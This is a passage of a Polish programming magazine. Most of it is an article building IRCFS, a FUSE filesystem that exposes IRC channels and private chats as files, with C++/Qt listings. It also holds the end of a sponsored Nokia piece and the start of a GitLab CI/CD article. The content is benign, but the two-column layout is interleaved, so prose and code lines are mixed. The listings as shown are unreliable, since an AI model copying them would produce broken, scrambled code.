świeżonym umysłem, gotowi na kolejne wyzwania dnia codziennego. Świat z pewnością nie będzie już taki sam, jak przed czasami pande-
Integracja zespołów to kolejny bardzo ważny aspekt pracy, któ- mii. Technologia szczęśliwie rozwija się, jak nigdy wcześniej, czego
ry do tej pory był przez firmy starannie adresowany. Nowa rzeczy- również i my w Nokii doświadczamy w naszej codziennej pracy. Waż-
wistość i w tym temacie postawiła przed managerami czy zarządem ne więc, aby nie tylko przystosowywać się do zmiany, ale również po-
wiele wyzwań. I tak znowu, dzięki nowej technologii, można rozgry- dążać za trendami i je kreować. Kto, jak nie firmy działające w branży
wać wspólnie ze znajomymi z pracy np. mecze w stanie nieważkości, nowych technologii oraz IT, ma wyznaczać ścieżkę rozwoju?
a idąc dalej, organizować koła zainteresowań rozgrywkami e-sporto-

DANIEL RODZEŃ
Absolwent wydziału Automatyki, Elektroniki i Informatyki na Politechnice Śląskiej oraz Gdańskiej Fundacji Kształcenia Mana-
gerów, gdzie uzyskał tytuł MBA (z ang. Master of Business Administration). Pracował z nowymi technologiami zarówno w kraju,
jak i zagranicą. Obecnie jest Kierownikiem ds. Rozwojowo-Badawczych w krakowskim oddziale firmy Nokia.

{ MATERIAŁ INFORMACYJNY } <19>


BIBLIOTEKI I NARZĘDZIA

FUSE – IRCFS
Publikacja ta stanowi swoistą kontynuację artykułu „Własny system plików z FUSE” [0] z po-
przedniego, jubileuszowego wydania Programisty. Przed przystąpieniem do lektury autor szcze-
rze zachęca do zapoznania się z ww. materiałem, choć nie jest to niezbędny wymóg.

D ziś zajmiemy się utworzeniem prostego systemu plików repre-


zentującego aktywną sesję czatu IRC (ang. Internet Relay Chat)
w taki sposób, aby można było z niego korzystać wyłącznie przy po-
Na potrzeby IRCFS zostanie zaadaptowana implementacja tego
protokołu napisana do artykułu „Nie tylko GUI – Qt na przykładzie
bota IRC” (Programista 8/2019 (87) [1]), która znajduje się w serwi-
mocy klasycznych narzędzi takich jak cat, tail lub dd. Przykład ocze- sie GitHub [2].
kiwanego rezultatu znajduje się w Listingu 0. Z wyżej wymienionego kodu zostanie wyodrębniona klasa klien-
ta IRC przemianowana na kq::irc::base_client:
Listing 0. Orientacyjny cel
Listing 2. Klasa kq::irc::base_client
> ls
KrzaQ
> echo "cześć" > KrzaQ class base_client : public QObject
> sleep 5 {
> cat KrzaQ Q_OBJECT
<ja> cześć public:
<KrzaQ> no cześć, jak leci? explicit base_client(
settings const&,
Oczywiście konieczna jest również obsługa kanałów, w końcu IRC QObject *parent = nullptr
);
to nie tylko rozmowy dwuosobowe. W opinii autora kanały powinny
być reprezentowane przez foldery, ponieważ mają one więcej własno- settings const& config() const { return cfg; }

ści, które należy reprezentować. Przykład w Listingu 1. public slots:


void say(QByteArray const&, QByteArray const&);
Listing 1. Orientacyjny cel – kanał void join(QByteArray const&);
void part(QByteArray const&);
> mkdir \#progmag
> ls void write_line(QByteArray const&);
#progmag
signals:
> ls \#progmag
void message(message_data const&);
topic
users private:
messages void connect_to_irc();
> cat \#progmag/users
void on_read(QByteArray const&);
@KrzaQ
void parse_lines();
ja
Hyzio void identify();
Dyzio void handle_ping(message_data const&);
Zyzio
> echo "Dzień dobry!" > \#progmag/messages settings cfg;
> sleep 30 QTcpSocket* connection;
> cat \#progmag/messages QByteArray input_buffer;
<ja> Dzień dobry! };
<Hyzio> \o
<Dyzio> o/

Wbrew pozorom nie jest to odległy cel. Do jego implementacji będą Klasa ta odpowiada za niskopoziomową komunikację z serwerem
wykorzystane następujące składniki: sieci IRC. Nie została ona prawie w ogóle zmodyfikowana względem
» biblioteka umożliwiająca tworzenie własnych wirtualnych syste- kodu z [2], więc jej implementacja zostanie pominięta.
mów plików – FUSE, W oparciu o kq::irc::base_client utworzona zostanie klasa
» biblioteka komunikacyjna z siecią IRC. kq::irc::client, która będzie bezpośrednim interfejsem dla FUSE.
Musi ona pamiętać stany takie jak:
Następnie wystarczy je połączyć za pomocą warstwy pośredniczącej » otwarte rozmowy z wiadomościami,
(tzw. glue code), aby uzyskać oczekiwany efekt. » kanały, a w nich:
ǿ użytkownicy na nich,

KOMUNIKACJA Z IRC ǿ temat,


ǿ wiadomości,
IRC jest bardzo prostym protokołem czysto tekstowym. Do nieszy- a także umożliwiać wykonywanie działań:
frowanej sieci można się podłączyć nawet za pomocą narzędzi takich » wysyłanie wiadomości,
jak netcat lub telnet i, zakładając pewną zwinność palców przy od- » dołączanie do kanału,
powiadaniu na komunikaty PING, można takie połączenie utrzymać. » opuszczanie kanału.

<20> { 2 / 2022 < 101 > }


/ FUSE – IRCFS /

Listing 3. Definicja klasy kq::irc::client Listing 6. Funkcja on_message()

class client : public QObject void client::on_message(message_data const& msg)


{ {
Q_OBJECT std::scoped_lock lock{sync};
public: if (msg.type == "PRIVMSG") {
explicit client( if (msg.where.size() && msg.where[0] == '#') {
settings const&, channel& ch = channels[msg.where.toUtf8()];
QObject *parent = nullptr ch.messages.push_back(msg);
); ch.raw_messages.append(format_message(msg));
} else {
void join_channel(QByteArray const&); auto nickname = msg.who.toUtf8().split('!')
void part_channel(QByteArray const&); .front();
query& q = queries[nickname];
void say(QByteArray const&, QByteArray const&); q.messages.push_back(msg);
q.raw_messages.append(format_message(msg));
auto const& get_channels() const { }
return channels; } else if (msg.type == "332") {
} // channel topic
auto channel = '#' + msg.where.split('#').back()
auto const& get_queries() const { .toUtf8();
return queries; channels[channel].topic = msg.message.toUtf8();
} } else if (msg.type == "353") {
// channel users
std::mutex& get_sync() const { return sync; } auto channel = '#' + msg.where.split('#').back()
.toUtf8();
public slots: for (auto const& u : msg.message.split(' ')) {
void on_message(message_data const&); if (!u.size())
continue;
private: channels[channel].users.insert(u.toUtf8());
static QByteArray format_message(message_data const&); }
} else if (msg.type == "JOIN") {
std::map<QByteArray, channel> channels; auto nick = msg.who.split('!').front().toUtf8();
std::map<QByteArray, query> queries; channels[msg.message.toUtf8()].users.insert(nick);
base_client* conn; } else if (msg.type == "PART") {
auto nick = msg.who.split('!').front().toUtf8();
std::mutex mutable sync;
channels[msg.where.toUtf8()].users.erase(nick);
}; } else if (msg.type == "QUIT") {
auto nick = msg.who.split('!').front().toUtf8();
for (auto& [channel, data] : channels) {
Mutex jest obecny, ponieważ komunikacja z FUSE będzie się później data.users.erase(nick);
}
odbywać z różnych wątków. Klasy channel i query przedstawiono }
w Listingach 4 i 5. }

Listing 4. Klasa kq::irc::channel Listing 7. Funkcja say()

struct channel void client::say(QByteArray const& recipient,


{ QByteArray const& message)
std::set<QByteArray> users; {
QByteArray topic; for(auto const& line : message.split('\n')) {
std::vector<message_data> messages; if (!line.size())
QByteArray raw_messages; continue;
}; QMetaObject::invokeMethod(conn, [=]{
conn->say(recipient, line);
}, Qt::QueuedConnection);
Listing 5. Klasa kq::irc::query message_data msg;
msg.message = line;
msg.type = "PRIVMSG";
struct query
msg.when = QDateTime::currentDateTime();
{ msg.who = conn->config().nick;
std::vector<message_data> messages; if (recipient[0] == '#') {
QByteArray raw_messages; channel& ch = channels[recipient];
}; ch.messages.push_back(msg);
ch.raw_messages.append(format_message(msg));
} else {
query& q = queries[recipient];
Obie powyższe klasy zawierają zmienną raw_messages. Będzie się q.messages.push_back(msg);
q.raw_messages.append(format_message(msg));
w niej znajdować całkowita zawartość komunikacji w formie czysto }
tekstowej, aby uniknąć wielokrotnego regenerowania tej samej za- }
}
wartości przy odczytach.
W obu przypadkach – zarówno messages, jak i raw_messages – Wywołanie conn->say(recipient, line) znajduje się wewnątrz
obiekty te są modyfikowane w dwóch przypadkach: lambdy przekazanej do QMetaObject::invokeMethod z parametrem
» gdy serwer wyśle informacje o nowej wiadomości, Qt::QueuedConnection. Jest tak, ponieważ wiele klas Qt ma „aler-
» gdy klient wyśle w danym kierunku wiadomość. gię” na bezpośrednie wywoływanie ich metod z innych wątków, na-
wet jeśli są synchronizowane np. muteksem. Jedną z takich klas jest
Konkretniej rzecz biorąc, dzieje się to w funkcjach on_message() i QTcpClient. Dlatego też wywołanie zostaje zakolejkowane do odpo-
say(). Funkcja on_message() obsługuje nowo przychodzące wiado- wiedniego wątku wykonania.
mości od serwera i, w razie potrzeby, przydziela je do odpowiednich Warto jeszcze wspomnieć o utworzeniu pliku projektowego CMake
kanałów, rozmów prywatnych lub metadanych. dla kodu używającego Qt:

{ WWW.PROGRAMISTAMAG.PL } <21>
BIBLIOTEKI I NARZĘDZIA

Listing 8. Plik CMakeLists.txt damy, że jest to katalog reprezentujący kanał. Jeśli w ścieżce znajduje
list(APPEND IRC_SOURCES się jeszcze jeden znak /, uznajemy, że zapytanie odnosi się do jedne-
irc.cpp go z plików messages/users/topic.
)

qt5_wrap_cpp(IRC_SOURCES Listing 9. Funkcja getattr


irc.hpp
) int getattr(char const* path, struct stat* st)
{
set(CMAKE_AUTOMOC ON) // ...
set(CMAKE_AUTORCC ON)
set(CMAKE_AUTOUIC ON) if (path == "/"sv) {
find_package(Qt5 COMPONENTS Core REQUIRED) st->st_mode = S_IFDIR | 0400;
find_package(Qt5 COMPONENTS Network REQUIRED) st->st_nlink = 2;
} else if (path[1] == '#') {
add_library(irc STATIC) auto p = QByteArray(path + 1).split('/');
target_compile_features(irc PUBLIC cxx_std_17) std::scoped_lock lock{irc_client->get_sync()};
set_target_properties(irc PROPERTIES CXX_EXTENSIONS 0)
target_sources(irc PRIVATE ${IRC_SOURCES}) auto it = irc_client->get_channels().find(p.front());
target_include_directories(irc PUBLIC .) if (it == irc_client->get_channels().cend())
target_link_libraries(irc PUBLIC return -ENOENT;
Qt5::Core
if (p.size() == 2) {
Qt5::Network
st->st_mode = S_IFREG | 0400;
fmt::fmt
st->st_nlink = 1;
) if (p.last() == "messages") {
st->st_size = it->second.raw_messages.size();
} else if (p.last() == "topic") {
FUSE st->st_size = it->second.topic.size();
} else if (p.last() == "users") {
st->st_size = 0;
Biblioteka FUSE to tak naprawdę dwie stosunkowo niezależne części: for(auto const& u : it->second.users)
st->st_size += u.size();
» kod w jądrze systemu, wystawiający generyczny interfejs do pod- st->st_size += it->second.users.size();
} else {
łączenia systemu plików, return -ENOENT;
» biblioteka libfuse odpowiedzialna za translację wywołań do kodu }
} else {
użytkownika. st->st_mode = S_IFDIR | 0400;
st->st_nlink = 2;
if (it->second.messages.size()) {
Aby umożliwić działanie wirtualnego systemu plików, FUSE przeka- auto time = it->second.messages.back().when
.toMSecsSinceEpoch() / 1000;
zuje wywołania syscalli do analogicznych callbacków przekazanych st->st_mtime = time;
st->st_atime = time;
przez programistę. Jest ich ponad 30, ale wszystkie są opcjonalne. Je- st->st_ctime = time;
śli jakiegoś brakuje, to albo używane są inne dostępne, albo zwracany }
}
jest komunikat błędu, że funkcjonalność nie jest dostępna. } else {
std::scoped_lock lock{irc_client->get_sync()};
Na potrzeby IRCFS zaimplementowane zostaną następujące funkcje: auto it = irc_client->get_queries().find(path+1);
» getattr() – do przekazywania informacji o atrybutach elemen- if (it == irc_client->get_queries().cend())
return -ENOENT;
tów systemu plików, auto time = it->second.messages.back().when
.toMSecsSinceEpoch() / 1000;
» mkdir() – do tworzenia folderów, czyli dołączania do kanałów, st->st_mtime = time;
» rmdir() – do usuwania folderów, czyli do opuszczania kanałów, st->st_atime = time;
st->st_ctime = time;
» read() – do odczytywania plików, czyli głównie komunikatów,
» write() – do zapisu do plików, czyli do wysyłania komunikatów, st->st_mode = S_IFREG | 0400;
st->st_nlink = 1;
» readdir() – do wyświetlenia zawartości folderu. st->st_size = it->second.raw_messages.size();
}

Dla uproszczenia implementacji oraz ustrukturyzowania interfejsu return 0;


}
nasz system plików:
» nie będzie zawierał zagnieżdżonych katalogów, Funkcja mkdir() powoduje dołączenie do kanału. Jeśli próbujemy
» wszystkie pliki w głównym katalogu będą odpowiadały rozmo- utworzyć katalog poza głównym katalogiem systemu plików, zwracany
wom bezpośrednim, jest błąd.
» wszystkie katalogi w głównym katalogu będą odpowiadały ka-
Listing A. Funkcja mkdir
nałom, do których wszedł klient IRC, a ich nazwy będą zaczy-
nały się od znaku #, int mkdir(char const* path, mode_t)
{
» wszystkie katalogi będą zawierały wyłącznie następujące trzy pliki: if (path[1] != '#')
return -EINVAL;
ǿ messages – zawierający dane wiadomości na danym kanale,
QByteArray p(path+1);
ǿ users – zawierający listę użytkowników danego kanału, if (p.count('/'))
ǿ topic – zawierający obecny temat. return -EINVAL;

std::scoped_lock lock{irc_client->get_sync()};
irc_client->join_channel(p);
W Listingu 9 przedstawiono implementację funkcji getattr(). War-
return 0;
to zauważyć, że wszystkie ścieżki zaczynają się od znaku / i są rela- }
tywne do katalogu montowania. Jeśli nazwa zaczyna się od #, zakła-

<22> { 2 / 2022 < 101 > }


/ FUSE – IRCFS /

Funkcja rmdir() jest odwotnością mkdir(). Jej implementacja Listing D. Funkcja write
jest prawie identyczna. int write(char const* path, char const* buffer, size_t size,
off_t offset, fuse_file_info *fi)
Listing B. Funkcja rmdir {
if (path[1] == '#') {
int rmdir(char const* path) auto p = QByteArray(path + 1).split('/');
{ if (p.size() != 2)
if (path[1] != '#') return -EINVAL;
return -EINVAL;
std::scoped_lock lock{irc_client->get_sync()};
QByteArray p(path+1); auto const channels = irc_client->get_channels();
if (p.count('/')) auto it = channels.find(p.front());
return -EINVAL;
if (it == channels.cend())
std::scoped_lock lock{irc_client->get_sync()}; return -ENOENT;
irc_client->part_channel(p); if (p.back() != "messages")
return -EINVAL;
return 0;
} auto data = QByteArray(buffer, size);
irc_client->say(p.front(), data);
Funkcja read() odpowiada za odczyt danych z plików. Jeśli odczyt } else {
std::scoped_lock lock{irc_client->get_sync()};
dotyczy pliku rozmowy bezpośredniej lub wiadomości na kanale, auto const& queries = irc_client->get_queries();
dane są wczytywane z odpowiedniego obiektu raw_messages. Temat auto it = queries.find(path + 1);
if (it == queries.cend())
oraz użytkownicy na kanale generowane są dynamicznie. return -ENOENT;
auto data = QByteArray(buffer, size);
Listing C. Funkcja read DEBUG("data({}): {}", data.size(),
data.toStdString());
int read(char const* path, char* buffer, size_t size, irc_client->say(path + 1, data);
off_t offset, fuse_file_info *fi) }
{
std::string msg; return size;
}
if (path[1] == '#') {
auto split = QByteArray(path+1).split('/');
Funkcja readdir() zwraca pliki lub katalogi znajdujące się w danej
std::scoped_lock lock{irc_client->get_sync()}; ścieżce. Każdy element jest przekazywany poprzez wywołanie funkcji
auto it = irc_client->get_channels().find(split[0]);
if (it == irc_client->get_channels().cend()) filler(), otrzymanej od FUSE jako callback. W głównym katalogu
return -ENOENT; zwracane są kanały oraz rozmowy bezpośrednie, a w katalogach ka-
if (split[1] == "messages") {
msg = it->second.raw_messages.toStdString(); nałów tylko odpowiednie pliki messages, title oraz users.
} else if (split[1] == "topic") {
msg = it->second.topic.toStdString(); Listing E. Funkcja readdir
msg += '\n';
} else if (split[1] == "users") { int readdir(char const* path, void* buffer,
msg.reserve(it->second.users.size() * 8); fuse_fill_dir_t filler, off_t offset, fuse_file_info* fi)
for (auto const& u : it->second.users) { {
msg += u.toStdString(); filler(buffer, ".", nullptr, 0);
msg += '\n'; filler(buffer, "..", nullptr, 0);
}
} else { if (path == "/"sv) {
return -ENOENT; std::set<std::string> channels;
} std::set<std::string> queries;
} else { {
std::scoped_lock lock{irc_client->get_sync()}; std::scoped_lock lock{irc_client->get_sync()};
auto const& queries = irc_client->get_queries(); for (auto const& [channel, messages] :
auto it = queries.find(path + 1); irc_client->get_channels()) {

if (it == queries.cend()) queries.insert(channel.toStdString());


return -ENOENT; }
msg = it->second.raw_messages.toStdString(); for (auto const& [who, messages] :
} irc_client->get_queries()) {

if (offset >= msg.size()) queries.insert(who.toStdString());


return 0; }
}
auto bytes_to_copy = std::min(size, for (auto const& q : queries) {
msg.size() - offset); filler(buffer, q.c_str(), nullptr, 0);
auto begin = msg.cbegin() + offset; }
std::copy(begin, begin + bytes_to_copy, buffer); } else if (path[1] == '#') {
return bytes_to_copy; std::scoped_lock lock{irc_client->get_sync()};
} auto it = irc_client->get_channels().find(path+1);
if (it == irc_client->get_channels().cend())
return -ENOENT;
Funkcja write() pozwala wyłącznie na dopisywanie do końca pli- filler(buffer, "users", nullptr, 0);
ku – nie da się modyfikować historii. Można jej używać wyłącznie filler(buffer, "topic", nullptr, 0);
filler(buffer, "messages", nullptr, 0);
do plików odpowiedzialnych za wiadomości. W tej wersji nie przewi- } else {
dziano np. możliwości zmiany tematu na kanale. return -EINVAL;
}
return 0;
}

{ WWW.PROGRAMISTAMAG.PL } <23>
BIBLIOTEKI I NARZĘDZIA

Listing 12. Użycie IRCFS


IRCFS
> ./src/ircfs ircfs irc.ircnet.com IRC
Mając gotowe implementacje FUSE oraz biblioteki do IRC, można > ls IRC
> mkdir IRC/\#progmag
przystąpić do ich uruchomienia. Zarówno FUSE, jak i Qt mają wła- > ls -la IRC/\#progmag
sny kod do obsługi pętli zdarzeń (ang. event loop), wzajemnie nie- total 0
dr-------- 2 krzaq krzaq 0 Jan 1 1970 .
kompatybilny. Dla zachowania prostoty implementacji autor zdecy- dr-------- 2 krzaq krzaq 0 Jan 1 1970 ..
dował się wywołać pętlę zdarzeń Qt w osobnym wątku. -r-------- 1 krzaq krzaq 0 Jan 1 1970 messages
-r-------- 1 krzaq krzaq 23 Jan 1 1970 topic
-r-------- 1 krzaq krzaq 13 Jan 1 1970 users
Listing F. funkcja main() > cat IRC/\#progmag/users
@KrzaQ
int main(int argc, char** argv) ircfs
{ > cat IRC/\#progmag/topic
fuse_operations ops = { test #progmag bez Hyzia
.getattr = &kq::getattr, > echo "hello\!" >> IRC/\#progmag/messages
.mkdir = &kq::mkdir, > cat IRC/\#progmag/messages
.rmdir = &kq::rmdir, [13:31:22] <ircfs>: hello!
.read = &kq::read, > cat IRC/\#progmag/messages
.write = &kq::write, [13:31:22] <ircfs>: hello!
.readdir = &kq::readdir, [13:31:30] <KrzaQ>: \o
}; # prywatna wiadomość
> ls IRC
if (argc < 4)
KrzaQ ‚#progmag'
return EXIT_FAILURE;
> cat IRC/KrzaQ
std::thread client{ [nick = argv[1], host = argv[2]]{ [13:32:50] <KrzaQ>: test prywatnej wiadomosci
kq::client_main(nick, host); > echo "dziala" >> IRC/KrzaQ
} }; > cat IRC/KrzaQ
[13:32:50] <KrzaQ>: test prywatnej wiadomosci
argv[2] = argv[0]; [13:33:20] <ircfs>: dziala
return fuse_main(argc - 2, argv + 2, &ops, nullptr); > mkdir IRC/\#progmag_2
QCoreApplication::quit(); > cat IRC/\#progmag_2/users
client.join(); @Hyzio
} KrzaQ
ircfs
> cat IRC/\#progmag_2/topic
temat #progmag 2
Klasa QCoreApplication zawsze wymaga przekazania choć jednej > echo "hi" >> IRC/\#progmag_2/messages
wartości argv, choć w opinii autora jest to zbędne. > cat IRC/\#progmag_2/messages
[13:35:36] <ircfs>: hi
[13:35:41] <Hyzio>: \o
Listing 10. Funkcja kq::client_main()

void kq::client_main(std::string_view nick,


std::string_view server, int port)
{
int fake_argc = 1;
char fake_argv_val[2] = { "." }; Rysunek 0. Listing 12 z perspektywy użytkownika Hyzio
char* fake_argv[2] = { fake_argv_val, nullptr };
QCoreApplication app(fake_argc, fake_argv);

qRegisterMetaType<kq::irc::message_data>("message_data");

kq::irc::settings settings = {
PODSUMOWANIE
QString::fromStdString(std::string{server}),
static_cast<quint16>(port), W opinii autora implementacja IRCFS jako proof of concept udała się.
QString::fromStdString(std::string{nick}) Niewątpliwie praktyczność implementacji protokołu IRC jako syste-
};
irc_client = new kq::irc::client(settings, &app); mu plików może wydać się dyskusyjna, ale sam projekt porusza cie-
app.exec(); kawy problem edukacyjny oraz przedstawia rozwiązania, które mogą
} być zaimplementowane w innych projektach.
Listing 11. Kompilacja
Kody źródłowe znajdują się standardowo w serwisie GitHub [3].

> cmake \
-DCMAKE_EXPORT_COMPILE_COMMANDS=TRUE \
-DCMAKE_MODULE_PATH=$(pwd)/../cmake \
Bibliografia
-DCMAKE_BUILD_TYPE=Debug \
[0] https://programistamag.pl/programista-1-2022-100/
..
[1] https://programistamag.pl/nie-tylko-gui-qt-na-przykladzie-bota-do-sieci-irc/
[...]
[2] https://github.com/KrzaQ/qt-irc-client
> cmake --build .
[3] https://github.com/KrzaQ/programista-ircfs
[ 8%] Automatic MOC and UIC for target irc
[ 8%] Built target irc_autogen
[ 16%] Generating moc_irc.cpp
[...] PAWEŁ "KRZAQ" ZAKRZEWSKI
[100%] Linking CXX executable ircfs
[100%] Built target ircfs https://dev.krzaq.cc
Absolwent Automatyki i Robotyki oraz Informatyki na Zachodniopomor-
Po kompilacji można ostatecznie skorzystać z owocu naszej pracy.
skim Uniwersytecie Technologicznym. Pracuje jako Software Engineer
Kolejność argumentów jest następująca: nazwa_programu nick ser- w Sauce Labs. Programowaniem interesuje się od dzieciństwa, jego ostat-
wer_irc katalog. nie zainteresowania to C++ i metaprogramowanie.

<24> { 2 / 2022 < 101 > }


BIBLIOTEKI I NARZĘDZIA

CI/CD jako nowoczesny workflow


Dziś nawet przy najmniejszym projekcie pracuje zespół ludzi. Jest to całkowicie pożądany
scenariusz. Fakt ten wynika oczywiście z tego, że świat IT opanował każdą dziedzinę życia,
a nawet najprostsza aplikacja, strona internetowa itd. powinna działać wedle założeń już nie
tylko na jednym urządzeniu, a na każdym komputerze, laptopie, smartfonie, a nawet telewizorze,
szczoteczce czy lodówce. Ponadto należy pamiętać, że wspomniane smartfony mogą działać
w oparciu o różne systemy operacyjne czy posiadać dowolną przeglądarkę internetową. Prawdą
jest, że jeszcze pięć lat temu stworzenie prostej strony internetowej czy aplikacji nie wymagało
takiego nakładu sił i środków, jak obecnie, ale czy aplikacje te były semantyczne i bezpieczne?
Jak tworzyć projekty w oparciu o CI/CD i jak taki pipeline powinien wyglądać?

IT, CZYLI LECIMY KU GWIAZDOM Czas pokazał, że DevOps się przyjął, a największe serwisy wspoma-
gające zespoły programistyczne nie oferują już tylko systemu kontroli
Świat IT nieznający żadnych granic i podziałów mknie przed siebie wersji, ale ewoluowały w platformy DevOps. Doskonałym przykładem
szybciej i dalej niż wysłany przez Elona Muska model Roadster Tesli jest tutaj GitLab, który ze swoim wachlarzem narzędzi sprawdza się nie
w kosmos. Obecnie gdy piszę ten artykuł, pojazd ów oddalony jest od tylko przy samym programowaniu, ale także przy planowaniu, wdraża-
planety Ziemia o 375 195 525 km. A to wszystko głównie dzięki nam, niu, deploymencie, testowaniu, audytowaniu itd. Przyjrzyjmy się więc
ludziom z branży IT, i jak to klasyk mówi możemy się rozejść? bliżej i przeanalizujmy na przykładzie, jak taki nowoczesny projekt
Być może ktoś powie, że przecież już w 1969 r. człowiek wylądował w oparciu o narzędzia dostępne na GitLab powinien wyglądać.
na Księżycu, a główny komputer na pokładzie miał mniejszą moc ob-
liczeniową niż dzisiejsze kalkulatory. Oczywiście jest to prawda, a jako
CI/CD
ciekawostkę mogę dodać, że szacunkowo kalkulator TI-73 z roku 1998
był już 140 razy szybszy od wspomnianego pokładowego komputera CI/CD – pod tym skrótem kryje się ciągła integracja (ang. continuous
Apollo Guidance Computer, ale świat IT się przecież nie zatrzymuje. integration) i ciągłe dostarczanie (ang. continuous delivery). Warto tu-
Skupmy się więc na tym, jak do tego doszło, że Elon Musk w ra- taj dodać, że CD często niesie ze sobą dwa znaczenia, wspomnianego
mach pomocy Ukrainie jest w stanie z godziny na godzinę za pomocą już ciągłego dostarczania, a także ciągłego wdrażania (ang. continu-
swoich zespołów projektowo-programistycznych przeprogramować ous deployment). Razem pod postacią CI/CD tworzy to spójny zbiór
będące na niskiej okołoziemskiej orbicie satelity programu Starlink dobrych praktyk, zasad i wytycznych nowoczesnego przepływu pracy
i zmienić napięcie potrzebne do zasilania naziemnych modemów tak, (ang. workflow). Taki właśnie zestaw trzech filozofii reprezentują na-
by można było je uruchomić z samochodowej zapalniczki? rzędzia CI/CD dostępne w GitLab. Przyjrzyjmy się bliżej, co się za
Świat IT obecnie radzi sobie z tymi wyzwaniami na różne sposoby. nimi tak naprawdę kryje.
Wymieniając kilka przykładów, możemy wspomnieć o frameworkach Continuous integration to podejście mające na celu zrozumie-
wspomagających programistów czy portalach typu GitHub, dzięki nie i pogodzenie się z faktem, że obecnie duża ilość osób pracują-
którym nad jednym projektem może pracować bardzo duża liczba cych nad danym projektem może dokonywać wielu drobnych zmian,
specjalistów. Na przełomie ostatnich kilku lat informatyka zagości- często w bardzo krótkim czasie. W przypadku CI/CD mowa jest
ła dosłownie wszędzie, w wyniku czego takie projekty, jakie realizu- o zbiorze narzędzi i automatyzacji na naszym pipeline pozwalających
je np. SpaceX, są rozwijane, programowane, testowane, audytowane po każdej, nawet najmniejszej zmianie przeprowadzić szereg automa-
i stale aktualizowane przez ogromną rzeszę ludzi. tycznych zadań, takich jak na przykład testy całego projektu itp.
Continuous delivery z kolei tak naprawdę zaczyna się tam, gdzie

DEVOPS, CZYLI ZMIEŃMY SIĘ kończy się CI i jest dalszą częścią całości CI/CD. Odpowiada za przy-
gotowanie do deploymentu całego projektu, a to oznacza, że koncen-
DevOps to nic innego jak połączenie świata programistów ze świa- truje się na przygotowaniu gotowej i działającej aplikacji.
tem administratorów infrastruktury. Kluczem tutaj niewątpliwie jest Warto tutaj zaznaczyć, że tak przygotowana aplikacja co prawda
to, co tak naprawde mamy rozumieć przez słowo „połączenie”. Ważne jest już często po pierwszych automatycznych testach, ale jest to nadal
jest bowiem, by zrozumieć, że nie jest to przysłowiowy informatyk bardziej testowa wersja. Na jej podstawie zespoły są w stanie spraw-
złota rączka, który wczoraj był programistą lub administratorem, dzić, jak i czy wszystkie funkcje działają prawidłowo.
a od dziś robi i jedno, i drugie, bo „przecież DevOps”. Zbiór dobrych Continuous deployment natomiast to nic innego jak automa-
praktyk, metod i narzędzi stojący za słowem DevOps ma na celu za- tyczne zbudowanie i przygotowanie tak zwanej finalnej aplikacji pro-
cieśnić i usprawnić pracę oraz komunikację między tymi dwoma do dukcyjnej. Ten punkt najczęściej jest ostatnim na pipeline, choć nie
tej pory dość hermetycznymi środowiskami. zawsze tak musi być. W niektórych przypadkach testy danych zmian

<26> { 2 / 2022 < 101 > }


/ CI/CD jako nowoczesny workflow /

są przeprowadzane zarówno przed deploymentem, jak i po nim. Nie i deploymentem. To, że GitLab pozwala nam korzystać z CI/CD, nie
zawsze jest on automatyczny, może być ustawiony jako manualny, jest jednoznaczne z tym, że automatycznie zestaw tych narzędzi jest
czyli wymagający ingerencji użytkownika. Takie podejście stosuje włączony. W przypadku pracy z workflow GitLaba, aby włączyć i za-
się w projektach, w których przed finalnym wydaniem nowej wersji rządzać narzędziami CI/CD, powinniśmy stworzyć i skonfigurować
mamy do czynienia z recenzją lub audytem. plik .gitlab-ci.yml. Dzięki niemu będziemy w stanie konfigurować pi-
peline projektu.

NO TO DO RZECZY YAML to często wykorzystywany do wszelkiej maści plików


konfiguracyjnych język, ponieważ za jego pomocą opisujemy dane
CI/CD jest elastyczny i w pełni konfigurowalny, co oznacza, że to od w ustrukturalizowany sposób. To niewątpliwie sprawia, że jest tak
nas zależy, jakie punkty i w jakiej kolejności pojawią się na pipeline. szeroko stosowany i lubiany, jednak podczas pisania skryptów YAML
Dodatkowo możemy zdefiniować, czy dany etap będzie wyzwala- trzeba pamiętać, że jest on bardzo wrażliwy na wszelkie białe znaki.
ny okresowo, czy też automatycznie po każdej zmianie lub tylko po Na szczęście GitLab też o tym wie i przygotował opcję sprawdzania
wyzwoleniu danego tagu. To od naszej konfiguracji zależy także, czy poprawności nie tylko struktury, ale także zmiennych itd. Aby otwo-
dany punkt będzie wykonywany automatycznie, czy też manualnie. rzyć przeznaczony do tego walidator, zaprezentowany na Rysunku 2,
Możemy także skonfigurować workflow oparty na pipeline, gdzie wy- wybieramy CI/CD -> Pipelines i klikamy w górnym prawym rogu
konanie danego punktu będzie zależne od poprzedzającego go itd. przycisk CI lint.
Na Rysunku 1 zaprezentowany został przykładowy projekt o na- CI lint nie jest oczywiście jedynym sposobem, ponieważ narzę-
zwie „Programista”. W tym artykule nie będziemy się skupiać na sa- dzie znane pod nazwą Pipeline Editor nie tylko pozwoli nam do-
mym projekcie ani na tym, w czym i w jaki sposób został napisany. wiedzieć się, czy nasza konfiguracja jest zgodna ze standardem, ale
Nas będzie głównie interesowała widoczna w menu głównym za- także przedstawi wizualizacje punktów i ich połączeń na pipeline
kładka „CI/CD” i wszystko to, co wiąże się z ciągłym wytwarzaniem (Rysunek 3). To nie wszystko, ponieważ narzędzie to zostało wypo-
sażone w podpowiedzi podczas pisania,
a w zakładce Lint znajdziemy wszystkie
zadeklarowane parametry z wartościami
i ich właściwościami. Dodatkowo może-
my także zobaczyć cały plik YAML, któ-
ry zostanie finalnie użyty.
Nie będziemy na łamach tego artykułu
przedstawiać możliwości i funkcji wszyst-
kich narzędzi wchodzących w skład Git­
Lab CI/CD. Nie trzeba chyba dodawać,
że zabawa z nimi i odkrywanie, co potra-
fią, będzie niesamowitą frajdą, do której
gorąco zachęcam.
W tym miejscu warto wspomnieć, że
Rysunek 1. Główny dashboard projektu w GitLab
GitLab przy tworzeniu nowego projektu
daje także możliwość korzystania z na-
rzędzi CI/CD dla zewnętrznych repozy-
toriów – Rysunek 4.
CI/CD dla zewnętrznego projektu to
nie jest tylko „dodatek” i tak naprawdę ma
bardzo szerokie zastosowanie. Na przykład,
jeżeli nasz projekt z założenia ma być roz-
wijany tylko w lokalnej chmurze firmy, ale
audytowany przez zewnętrzny podmiot,
to taka możliwość jest bardzo pożądana.
Doskonałym przykładem mogą być także
repozytoria, które rozwijamy na innych
platformach. Możemy na przykład skorzy-
stać z narzędzi CI/CD wraz z pipielinem od
GitLaba, ale projekt rozwijać na GitHubie.
Nasz pipeline możemy dowolnie rozwi-
jać, automatyzować i zmieniać. Na przykład
